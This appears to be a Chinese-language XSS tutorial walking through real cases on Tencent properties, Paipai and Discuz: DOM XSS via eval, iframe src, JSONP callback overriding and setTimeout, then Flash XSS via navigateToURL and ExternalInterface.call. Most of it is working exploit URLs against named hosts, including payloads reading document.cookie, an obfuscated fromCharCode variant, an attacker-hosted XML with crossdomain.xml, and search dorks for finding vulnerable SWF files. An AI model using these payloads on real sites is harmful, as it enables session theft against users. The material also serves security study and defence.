    str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
    str += '<param name="movie" value="' + url + '" />';
    str += '<param name="allowScriptAccess" value="never" />';
    str += '<param name="allowFullscreen" value="true" />';
    str += '<param name="wmode" value="transparent" />';
    str += '<param name="quality" value="autohigh" />';
    str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
    str += '</object>';
    document.getElementById(elm).innerHTML = str
}
>

图片解析:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

根据以上分析,我们的利用代码可以写为。注意,%3E,%3C的编码是关键。

> http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E
>

非常值得说明的是:

如果采用6.1的方法,我们得到的利用代码是

> http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
>

!! 这个代码在IE下,是没法XSS的。

而通过6.2的方法,去分析JS代码,我们则可以构造出通用的XSS代码。

10. Dom Xss进阶 [邂逅eval]

DOM XSS

前面的教程,说到了显式输出和隐式输出。但是不论怎么样,因为最终javascript都会通过document.write或innerHTML将内容输出到网页中,所以我们总是有办法看到输出到哪里。 但是有时候,我们的输出,最终并没有流向innerHTML或document.write,而是与eval发生了邂逅,我们该怎么挖掘并利用呢?

漏洞点

http://kf.qq.com/search_app.shtml?key=aaaaa

和前面的不同之处,这次我们搜索源代码和调试工具都看不到任何东西。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这个时候,我们可以看看Console,看看有没有其它有用的东西~~

一般来说,默认情况下,是不会有问题的。我们可以给参数加一些特殊符号。

这里我比较习惯用\,因为这玩意比较好使。当然你也可以用其它比较特殊的符号,比如双引号,单引号,只是被过滤掉的几率比较大。

这个时候,我们看看Console里面,多出了一条错误。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

我们可以点右侧,直接定位到错误代码。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

点进去后,可以看到是哪个地方出错了。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

我们来看看这段代码:

> var getarg = function()
{
	var url = window.location.href;
	var allargs = url.split("?")[1];
	if (allargs!=null && allargs.indexOf("=")>0)
	{
		var args = allargs.split("&");
		for(var i=0; i<args.length; i++)
		{
			var arg = args[i].split("=");
			eval('this.'+arg[0]+'="'+arg[1]+'";');
		}
	}
};
>

和上一节教程类似,这段代码,实际上也是一个获取地址栏参数的代码。

比如,地址栏是key=aaaa; 那么 arg[0] 就是字符串’key’, arg[1] 就是字符串 ‘aaaa’;

那么eval这句就是执行的 eval(‘this.key=”aaaa”;’)

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这样一来 , this.key="aaaa"; 这句就被执行了。

如果这里我们把 key 换个写法呢?

> this.key="aaaa";
> this.key;alert(1);//="aaaa";
>

如下图:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

那么是不是将会执行我们的 alert(1); 呢?

根据上面内容,我们可以构造代码。

> http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

不知道看完上面的,有没有娃注意到,后面的 aaaa 不是也可以构造吗?

this.key="aaaa"; 换为 this.key="aaa";alert(1);//";

确实是如此 :)

> http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//
>

这个在IE下一样是可以的。

但是这样在chrome下却不行。 原因其实上面一节教程也提到过。

chrome会自动对 " , > , < 进行转换。

因而

> this.key="aaa";alert(1);//";
>

会变成

> this.key="aaa%22;alert(1);//";
>

从而失效。

修复方案

参照你们已经修复的类似文件即可。 http://kf.qq.com/wsearch.shtmlhttp://kf.qq.com/js/wsearch.js

本来上面这个文件也是存在漏洞的,估计这个位置已经被人报告给腾讯了,因而腾讯加了一次防御。我们看看腾讯的防御措施。

> var getarg = function(){
	.... 省略相同部分...
                eval('this.' + arg[0] + '="' + HtmlAttributeEncode(arg[1]) + '";');
	.... 省略相同部分...
    }
>

也就是说,腾讯这里对后面的arg[1]进行了过滤。

接着,这个问题又被再次报告了,因而前些时候,腾讯又进一步做了修复。

> var getarg = function(){
	.... 省略相同部分...
            if (arg[0] != null && arg[1] != null && (arg[0] == 'page' || arg[0] == 'count' || arg[0] == 'tag' || arg[0] == 'key' || arg[0] == 'total') )
            {
                eval('this.' + arg[0] + '="' + HtmlAttributeEncode(arg[1]) + '";');
             }
	.... 省略相同部分...
    }
>

这一次,腾讯对 arg[0]进行了判断。

哈,补了东墙,补西墙。 不过呢?补了这个wsearch.js文件,还有我们现在分析的这个( http://kf.qq.com/js/search_app.js)文件。

11. Dom Xss进阶 [善变iframe]

DOM XSS

有时候,输出还会出现在 <iframe src="[输出]"></iframe> 。 iframe 的 src属性本来应该是一个网址,但是iframe之善变,使得它同样可以执行javascript,而且可以用不同的姿势来执行。这一类问题,我将其归为[路径可控]问题。当然上面说到的是普通的反射型XSS。有时候程序员会使用javascript来动态的改变iframe的src属性,譬如:iframeA.src=”[可控的url]”; 同样会导致XSS问题,来看看本例吧~

先来说说iframe的变化。

<iframe onload="alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>

具体例子

漏洞点

> http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
>

我们先开调试工具,看看有没有可见的输出。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,我们参数的aaaaaa被带入到了 <iframe src="这里"></iframe>

这样一来,就满足了我们的使用条件。

我们试试

> http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
>

。。竟然没反应。我们来看看刚才的那个地方。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,src这次没属性了,看来腾讯做了什么过滤。我们继续搜索下一个toolframe试试。

恩,看来就是这段代码导致的。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

一起看看这段代码。

> function OpenFrame(url) {
	if (url.toLowerCase().indexOf('http://') != '-1' 
		|| url.toLowerCase().indexOf('https://') != '-1' 
		|| url.toLowerCase().indexOf('javascript:') != '-1') // 过滤
			return false;
	document.getElementById("toolframe").src = url; // 造成XSS
}
>

而openFrame的url参数则来自于(无关代码省略):

> ...
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
...
>

根据我们上面说道的iframe的利用方法,我们不难看出,腾讯的过滤是不完善的。

在IE下,我们可以使用vbscript来执行代码。 vbscript里 ' 单引号表示注释,类似JS里的 //

> http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

在chrome下,我们可以用data协议来执行JS。

> http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

12. Dom Xss进阶 [路径con]

DOM XSS

一些程序员会动态的加载json数据,同域的时候,可以使用ajax;而有时候,数据所在域和当前页面所在域又不一致。所以需要跨域请求。跨域请求数据的手段中,有一种叫做jsonp。

用代码表示的话,就是

> somescript.src="http://otherdomain.com/xx?jsonp=callback"
>

某些时候,程序员会在调用外部数据的时候带上可控的参数。

> somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
>

如果这个id我们可控,将可能带来XSS问题。

在扫描过程中,经常遇到下面的例子。【??? 怎么扫描,Bt5的,/pentest/web/ 目录下,也有几款xss扫描器,@gainover 开发中的扫描器

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

如果这个地址是我们可控的话,一样会带来威胁。地址的可控可以分为3个层面。

  • script src="完全可控" : 这种就简单了,直接将地址换为我们的JS地址
  • script src="/path/xxx/[路径可控]/1.js" : 这种要利用的话,需要同域名下有可控的文件。可控文件又分为2种。
    script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
    
  • script src="/xxxx/json.php?callback=xxxx&param1=yyy&param2=[参数可控]" : 与上一条的第2点类似,如果参数可控,且json的参数没有很好的过滤时。我们就有机可乘了。

本文以拍拍网一处XSS为例,来描述以上可能性。

扫描器扫到的点,见步骤1中的图。进一步,我们可以通过抓包的方式,看到页面在打开时,所加载的外部JS文件地址。

> http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1∾=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
>

我们打开这个JSON,用扫描反射型的方式,可以测试出,

callback, dtag 以及 ranking可控。但均无法使用<, >,也就是说,这个JSON接口本身是无XSS风险的。

此外 dtag, 和 ranking 都在双引号里面,我们在后续无法进行利用,而callback则在最前面,比较好控制。

我们可以想象下,如果我们可以让这个页面调用:

> http://sse1.paipai.com/comm_json?callback=alert(1);
>

那么将会产生XSS。

那么怎么让页面调用上面的情况呢?

1 直接控制callback参数,但是从实际情况来看,我们此处无法直接控制它,【失败】

2 将后面的参数, param=xxx修改为param=xxx&callback=alert(1) ,从而覆盖前面的callback

上面说到的第2种方案,似乎可行。但是实际上还是有问题的。

譬如我们页面上的 type参数,对应着json的sclassid参数。

我们访问以下地址:

> http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
>

其实很明显上面这样是不行的。。因为 & 本身就是参数分隔符。这样写type就为空了

可能很快就有人想到另外一个写法:& 写为 %26

> http://bag.paipai.com/search_list.shtml?type=%26callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
>

很好,但是实际上,你会发现,访问的json接口的参数也还是原封不动的 %26,而不是所希望的 &

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

为了看看参数是怎么从页面,传递到了 comm_json 这个接口上的。我们定位到以下代码。

> http://static.paipaiimg.com/js/search.js?t=20121108
>

code:

> function init() {
        var keyword = decodeURIComp($getQuery('keyword')),
        type = $getQuery('type'),
        searchtype = $getQuery('searchtype');
        option.keyword = keyword;
        option.classId = type;
        option.searchType = searchtype || option.searchType;
        option.beginPrice = $getQuery('bp');
        option.endPrice = $getQuery('ep');
        option.NewProp = $getQuery('np') || $getQuery('newprop');
        option.property = $getQuery('pro') || option.property;
        option.cid = $getQuery('cid');
        option.Paytype = $getQuery('pt') || option.Paytype;
        option.hongbaoKeyword = $getQuery('hb');
        option.conditionStatus = $getQuery('cs') || option.conditionStatus;
        option.showType = $getQuery('show') || option.showType;
        option.mode = $getQuery('mode') || option.mode;
        option.address = decodeURIComp($getQuery('adr'));
        option.orderStyle = $getQuery('os') || option.orderStyle || 80;
        option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
        option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
        var pageIndex = $getQuery('pi'),
        pageSize = $getQuery('ps');
        option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
        option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
    };
>

在这个文件里,我们很容易的看出,当前页面参数和json参数的对应关系

option.JSON参数=$getQuery("页面参数")

一个函数让我眼前一亮啊,decodeURIComp。。也就是说,传入的keyword,会解码一次。

也就是说,如果我们

> keyword=%26callback=alert(1);
>

decodeURIComp就会变为

> &callback=alert(1);
>

为了证明我们的想法:我们直接写利用代码。注意keyword=那一部分

> http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000
> &keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void
> &PTAG=20058.13.13
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

抓包可以看到,被动态加载的keyword参数,我们在后面插入了一个callback,覆盖了前面的callback

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

同样,看到返回的comm_json的内容

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

13. Dom Xss实例 [Discuz X2.5]

DOM XSS

我们教程的DOM XSS就到这里了。最后再给大家送上一个实例。希望大家能够体会到: XSS的上下文非常重要,如何结合上下文,利用未过滤字符,合理的构造,才是成功的关键。

漏洞点:

> http://www.discuz.net/connect.php?receive=yes&mod=login
> &op=callback&referer=aaaaaaaaaaa
> &oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802
>

可以看到我们的aaaaaaaaaa在源代码里有2处输出。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

看第2处,我们需要用双引号闭合,但是显然dz不会给我们这么明显的机会,被拦截了。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

我们把目光放在第一处,这一处很特殊,位于setTimeout函数的第一个参数里,setTimeout的第一个函数会将字符串作为脚本来执行。

我们把这一部分代码提取出来。

> <script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 2000);</script>
>

我们首先能想到的是闭合掉 单引号, 但是这里单引号已经被过滤了。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

那么是不是就没有办法了呢?我们可以看到 setTimeout 的第一个参数是字符串;我们前面的教程里说过一次,JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为 \u0027\x27 。带着这个想法,我们可以试试 \ 有没有被过滤。幸运的是,这里还真没过滤 \

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

接着我们就是构造代码了。

首先写好代码。

> <script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a';alert(document.cookie);a='';", 2000);</script>
>

将里面的引号变为 \u0027

> <script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027;alert(document.cookie);a=\u0027';", 2000);</script>
>

代入到URL里。

> http://www.discuz.net/connect.php?receive=yes&mod=login
> &op=callback&referer=a\u0027;alert(document.cookie);a=\u0027
> &oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802
>

可以看到弹出了cookies。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

其实这里存在一个问题。 这段JS代码里,第一句是 location.href="某个地址"; 上面我们所演示的,是一个alert,暂停了location.href的发生。

如果我们把 alert(document.cookie); 换成插入某个JS文件的脚本代码,就会出现问题。

即:JS文件还没来得及加载, location.href="某个地址"; 这句就会被执行,从而跳转到另外一个页面了,继而导致失效。

所以这里,我们有必要改进下执行JS的办法。如下,

我们可以直接让代码变成执行 location.href="javascript:alert(document.cookie)";

location.href='原来的字符串'.替换(所有字符,"新的字符");

> <script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);</script>
>

同上,替换单引号,加号什么的。

> <script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);</script>
>

最后利用代码。

> http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802
>

可以看到,效果一样,这次就不会发生跳转从而导致加载JS失败咯。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

Flash XSS

14. Flash Xss入门 [navigateToURL]

Flash XSS, 反射型XSS, Flash应用安全

接下来,我们将讲解Flash Xss。由于乌云及社会各界的白帽子的上报,腾讯目前已经对绝大多数可能存在问题的Flash进行了修复。使得我在寻找真实案例时着实麻烦了不少。但是为了使得本教程足够完善和系统,我还是很艰难的找出了一些可以参考的例子。例子本身危害可能不大,但是希望能够借助例子给新手们描述清楚比较基本的东西。

Flash的actionscript脚本目前网络上存在2种版本,即2.0与3.0,本次教程先以as3.0为例。同时教程还会在如何使用搜索引擎搜索,如何查找关键词及构造利用代码方面进行详细的讲解。

首先,第一步,我们需要找到存在缺陷的FLASH文件。如何找到这类文件呢?最好的办法,当然是GOOGLE搜索。但是其实很多人是不太会用搜索引擎。或者知道怎么用,但是不知道该如何搜索关键词。因而教程的开始,我们来说一说,如何搜索关键词。

基本语句肯定是 site:qq.com filetype:swf , 意思是,限定域名为qq.com 文件类型为FLASH文件。

显然这样会搜索出很多FLASH文件,不利于我们后续的漏洞查找,所以我们需要输入某个关键词来进一步缩小范围。这里我列举一些寻找关键词的方式。

  • 已知存在缺陷的FLASH文件名或参数名,如:swfupload,jwplayer等
  • 多媒体功能的FLASH文件名,如:upload,player, music, video等
  • 调用的外部配置或数据文件后缀,如: xml, php 等
  • 前期经验积累下来的程序员特征参数名用词,如: callback, cb , function 等

结合以上经验,本例使用其中第三条, 我们搜索: site:qq.com filetype:swf inurl:xml

可以找到这个FLASH

> http://imgcache.qq.com/liveportal_v1/swf/carousel.swf?v=20101111&dp=http://v.qq.com/doco/pic.xml
>

如果你对FLASH有一定了解或者你天资聪慧的话,通过以上地址,你或许能猜到这个FLASH会调用 http://v.qq.com/doco/pic.xml 这个XML文件的数据,为了看看是什么数据,我们可以使用抓包软件【这里我使用的是charles web proxy】来看看。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

我们看看 http://v.qq.com/doco/pic.xml 的内容,对应着FLASH来看。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这里我们重点关注的是xml里的 <link> 结点。也就是当我们点击图片时,会跳转到link所指向的地址。

接着我们先说下基础知识。要实现上面点击图片,打开链接的功能,在FLASH里通常以以下代码来实现的。

当图片点击时执行 函数A

函数A内容如下:

> //as3.0版本
navigateToURL(new URLRequest(link), "_self");
//as2.0版本
getURL(link,"_self");
>

其中link就是被打开的链接。

如果link是 "javascript:alert(1)"

那么就可以执行JS代码了。这里的点击执行代码的效果类似于网页里的

> <a href="javascript:alert(1)">点我弹出1</a>
>

基于以上基础知识,我们可以先来反编译一下腾讯的FLASH文件,看看是不是上面这样的。

这里我用到的反编译软件是 actionscript viewer 2009。

把下载好的FLASH文件,拖到软件里,然后把AS都保存出来,保存为文本文件。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

如上图,我们可以看到AS代码具有目录结构,这种是AS3的。如果不是这样目录的样子,则是AS2的代码。

由于我们要定位的是使用到 link 的代码。 我们打开保存的as代码,进行搜索。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,当点击图片时,直接将数据里的link作为参数传递到了 URLRequest中。

既然如此,我们把 http://v.qq.com/doco/pic.xml 给下载下来,

将xml文件里的

部分修改一下。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

上传修改后的pic.xml到我们自己的服务器。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这样一来, 腾讯的 http://imgcache.qq.com/liveportal_v1/swf/carousel.swf 就会跨域加载我们的 http://itsokla.duapp.com/pic.xml 文件。

既然是跨域加载,有必要说点基础知识。 FLASH跨域请求的流程大致如下:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

因而,我们要允许来自 imgcache.qq.com 的FLASH文件,访问我们的xml文件才行。

在我们自己网站的根目录下,放置一个 crossdomain.xml

> <?xml version="1.0"?>
<cross-domain-policy>
	<allow-access-from domain="*.qq.com" />
</cross-domain-policy>
>

点击图片时,触发。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

15. Flash Xss进阶 [ExternalInterface.call第一个参数]

除了上一节讲到的navigateToURL/getURL之外呢,另一个经常存在XSS缺陷的as函数就是ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS。本节先说一说第一个参数可控的情况。

先从程序员的角度说下基础知识

有时候,我们需要在FLASH里调用当前页面中的javascript函数,例如:一个简单的需求,我们要在游戏加载完成后,执行弹出1的操作。

javascript代码:

> alert(1)
>

as code:

> ExternalInterface.call("alert","1");
>

有的程序员就会觉得,直接弹出1太丑了吧。于是他自己写个js的函数

> function myalert(str){
    //显示一个漂亮的浮动层,并且把str显示在上面。
}
>

然后在as里

> ExternalInterface.call("myalert","1");
>

又有一天,另外一个程序员觉得上面那个程序员写的东西不错,但是他的JS函数名不叫myalert,于是喊那个程序员改下as代码。于是那个程序员觉得,免得以后老是有人喊我改代码,他就将代码写成了下面这个样子。

> var func:String=root.loaderInfo.parameters.func; //接受FLASH所带的func参数
ExternalInterface.call(func,"1");
>

这样一来,其他想用这个FLASH的人,不需要修改FLASH,只需要调用FLASH的时候带上参数即可。

比如我的JS函数是newalert, 我只需要按照下面这么调用:

> http://some.com/xxx.swf?func=newalert
>

上述过程提高了程序的可重用性,为开发人员带来了极大的便利,但是却是缺乏安全考虑的。

攻击者可以采用以下的方式来执行自己的代码

> http://some.com/xxx.swf?func=(function(){alert("hi jack")})
>

为了方便理解,我们可以将

> ExternalInterface.call("函数名","参数1");
>

看成JS里的

> 函数名("参数1");
>

而FLASH里实际最后执行的JS代码,形式如下(至于下面这句哪里来的,暂时不表):

> try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
>

因而 函数名 部分也可以写为 (function(){alert("hi jack")}) 的形式。

案例

漏洞点:

http://quan.qq.com/swf/swfupload.swf

怎么反编译,见上一篇。我们来看怎么查找缺陷。

因为这是一个AS3.0的FLASH文件,我们首先确定FLASH是否有接受参数。

as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。

例如 aaa.swf?a=1&b=2&c=3 , 那么 root.loaderInfo.parameters 则等于

> {
	"a":1,
	"b":2,
	"c":3
}
>

我们可以定位到 movieName变量

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看出,FLASH的movieName参数,存放到了this.movieName中。

进一步, this.movieName被带入了到了 this.flashReady_Callback 及其它变量。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

> this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
>

我们再进一步看看,this.flashReady_Callback 被用到了哪里。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

再接着看看调用 this.flashReady_Callback 的Simple函数是啥样子的。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。

是不是很激动。我们来假设一下,按下面调用FLASH

> http://quan.qq.com/swf/swfupload.swf?movieName=aaaaaaaa
>

那么this.flashReady_Callback就等于以下内容。

> SWFUpload.instances["aaaaaaaa"].flashReady
>

最终调用的是

> ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');
>

如果我们要调用自己的JS代码,就需要构造闭合,但是你会发现有一定问题。。

我们最多能够造成下面的模样。

> ExternalInterface.call('SWFUpload.instances["aaa"];function SWFUpload(){};SWFUpload["aaa"].flashReady');
>

但是这样是无法正确执行的,因为 SWFUpload.instances没有被定义,从而SWFUpload.instances[“aaa”]会失败。

怎么办呢?这里就要拿出我们第5步里的知识了。我们把“函数名”换成call的第一个参数内容。变成下面的形式。

> try { __flash__toXML(SWFUpload.instances["aaaaaaaa"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }
>

我们再基于以上代码来构造,

> try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }
>

图片解析:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

上面一行不好看懂的话,写的好看点。

> try {
	__flash__toXML(SWFUpload.instances["aaa"])   //此行代码,因为SWFUpload未定义,出错,跳转到catch部分
}catch(e){
	alert(1); //这里将会被执行。
};
//"].flashReady("参数1")) ; } catch (e) { "<undefined/>"; }
>

最后,我们把构造的代码,放进FLASH的参数里

> http://quan.qq.com/swf/swfupload.swf?movieName=aaa"])}catch(e){alert(1)};//
>

可以看到成功执行alert(1)

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

16. Flash Xss进阶 [ExternalInterface.call第二个参数]

讲完 ExternalInterface.call 的第一个参数,我们接着来讲第“2”个参数,之所以2打上引号,因为 call 函数的原型是: call(functionName:String, ... arguments):* , 即后面可以有很多很多个参数,我们统称为第2个参数。有时候我们会遇到 ExternalInterface.call("xxxxx","可控内容"); 的情况,那么这种情况下,如何构造XSS呢?

通过GOOGLE搜索, site:qq.com filetype:swf inurl:xml

我们可以找到以下FLASH。

> http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml
>

借鉴上上节教程的思路,我们可以看看 http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 里是个什么内容。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

好像看不出来是个啥用途,我们反编译FLASH文件。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

接着我们先看看是否有getURL, ExternalInterface.call之类的。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,我们搜索到的是下面这句:

> flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);
>

那么call的第一个参数是被限定死了~,第2个参数为 menu_array[_local2].href,

如果你对AS有一点了解,不难看出menu_array是一个数组,那么_local2应该就是数组的下标,

而从单词含义“菜单数组”我们不难联想到上面xml文件里的数据。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

换句话说,这里我们的可以控制call的第2个参数。同教程14中的方法,我们下载下来 http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 。 先做点修改,然后上传到自己网站上。我们将代码里日志那一行的href改掉。

> <menu name="日  志" href="\",alert(1)" />
>

上传修改后的文件,同时记得将crossdomain.xml上传至自己的网站根目录下哦~~(见教程14)

接着我们载入我们自己指定的XML文件。

> http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml
>

接着我们打开Firefox浏览器。 有人会问,你怎么突然要用Firefox啊!疯了么!! 同志们,我没疯,只是因为FF可以捕获到这里的错误,而chrome捕获不到!

我们打开Firefox后, 访问上面的地址,点击【日志】按钮!!

Ctrl+shift+J 打开错误控制台!可以看到以下报错!

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

记性好的朋友,会马上想起上一节里我们说到的。

ExternalInterface.call(“函数名”,”参数1”);

实际上执行的是以下内容,

> try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
>

我们就是从FF这里捕获错误到这点的!(:) 当然也还会有其他方法)。

为什么会出错

当我们点击 【日志】按钮时,会调用。

> flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href);
>

menu_array[_local2].href 等于 \",alert(1) , 进而,我们代入完整的代码,即如下:

> try { __flash__toXML(custom_menu_swf("\\",alert(1)")) ; } catch (e) { "<undefined/>"; }
>

转换过程如下图:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到转换之后,JS代码有点乱,引号到处飞,括号无处寻,因而报错了!

那么我们怎么构造正确的利用代码呢?

> try { __flash__toXML(custom_menu_swf("构造点构造点")) ; } catch (e) { "<undefined/>"; }
>

首先第一步,要注入自己代码,首先要闭合掉双引号!

> try { __flash__toXML(custom_menu_swf("构造点"),alert("构造点")) ; } catch (e) { "<undefined/>"; }
>

但是从上面转换流程,我们可以看到, " 会变成 \" , 即变成了下面的样子,还是突破不出去。

> try { __flash__toXML(custom_menu_swf("构造点\"),alert(\"构造点")) ; } catch (e) { "<undefined/>"; }
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

不过非常庆幸的事情是,这里没有对 \ 进行转义。 我们可以通过输入 \" 来构造。JS的字符串里, \\\ 表示。如下:

> try { __flash__toXML(custom_menu_swf("构造点\\"))}catch(e){alert(1)}//构造点")) ; } catch (e) { "<undefined/>"; }
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

罗嗦了这么多,我们把构造点代码,拿出来,插入到XML文件里。注意以下几点:

  • 最后构造的代码是\“, 实际我们的输入是\”,然后由FLASH自己转变为\“的,因而利用代码里只需要输入\”即可。
